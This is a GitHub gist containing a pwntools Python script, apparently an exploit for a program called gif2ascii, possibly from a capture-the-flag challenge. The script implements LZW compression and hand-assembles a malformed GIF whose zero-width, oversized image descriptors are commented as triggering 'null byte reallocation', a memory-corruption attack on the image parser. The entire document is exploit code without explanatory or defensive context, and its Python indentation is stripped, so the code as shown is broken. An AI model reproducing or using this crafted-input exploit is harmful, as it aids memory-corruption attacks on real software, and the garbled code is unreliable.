Skip to content

Instantly share code, notes, and snippets.

@d4em0n
Created August 31, 2020 15:54
Show Gist options
  • Save d4em0n/a3b5c7338b26b03b1cf9315549e512a4 to your computer and use it in GitHub Desktop.
Save d4em0n/a3b5c7338b26b03b1cf9315549e512a4 to your computer and use it in GitHub Desktop.
gif2ascii
from pwn import *
import sys
from math import floor, ceil
from typing import AnyStr
# craft gif: http://giflib.sourceforge.net/whatsinagif/bits_and_bytes.html
ASCII_TO_INT: dict = {i.to_bytes(1, 'big'): i for i in range(256)}
INT_TO_ASCII: dict = {i: b for b, i in ASCII_TO_INT.items()}
def compress(data: AnyStr) -> bytes: # lzw compress
if isinstance(data, str):
data = data.encode()
keys: dict = ASCII_TO_INT.copy()
n_keys: int = 256
compressed: list = []
start: int = 0
n_data: int = len(data)+1
while True:
if n_keys >= 512:
keys = ASCII_TO_INT.copy()
n_keys = 256
for i in range(1, n_data-start):
w: bytes = data[start:start+i]
if w not in keys:
compressed.append(keys[w[:-1]])
keys[w] = n_keys
start += i-1
n_keys += 1
break
else:
compressed.append(keys[w])
break
bits: str = ''.join([bin(i)[2:].zfill(9) for i in compressed])
return int(bits, 2).to_bytes(ceil(len(bits) / 8), 'big')
GIF_HEADER = b"GIF89a"
out = False
if len(sys.argv) > 1:
out = sys.argv[1]
def get_color_table_256():
table = b""
for i in range(0, 0xffffff, 65536):
y1 = i & 0xff
y2 = (i>>8)&0xff
y3 = (i>>16)&0xff
table += bytes([y3,0xff,y1])
return table
def craft_header_n_logical(width, height, size_glob):
w = p16(width)
h = p16(height)
g = size_glob&0b111
packed_field = p8((1<<7)|(g<<4)|g)
pay = GIF_HEADER + w + h + packed_field + b'\x00\x00'
return pay
def get_control_ext():
pay = b"\x21\xf9\x04\x00\x00\x00\x00\x00"
return pay
def img_desc(width, height, left=0, top=0, packed_field=b"\0"):
desc = b"\x2c"
desc += p16(left)
desc += p16(top)
desc += p16(width)
desc += p16(height)
desc += packed_field
return desc
def img_data(data):
min_code = b"\x08"
pay = min_code
assert len(data)+1 <= 0xff
pay += p8(len(data))
pay += data
pay += b"\x00"
return pay
def end():
return b"\x3b"
gif = craft_header_n_logical(0x18, 0x0a, 0b111)
gif += get_color_table_256()
gif += get_control_ext()
gif += img_desc(width=0x8, height=0x15)
gif += img_data(compress(b"\x20"*0x20+b"\x00"*0x40))
gif += img_desc(width=0, height=0xf1c) # null byte reallocation
gif += img_data(b"\x00"*20)
gif += img_desc(width=0, height=0xf1c) # null byte reallocation
gif += img_data(b"\x00"*20)
gif += img_desc(width=0x18, height=0x0a, packed_field=b"\x0f")
gif += img_data(b"AAAAAAAAA")
gif += end()
print(hexdump(gif))
if out:
with open(out, "wb") as f:
f.write(gif)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment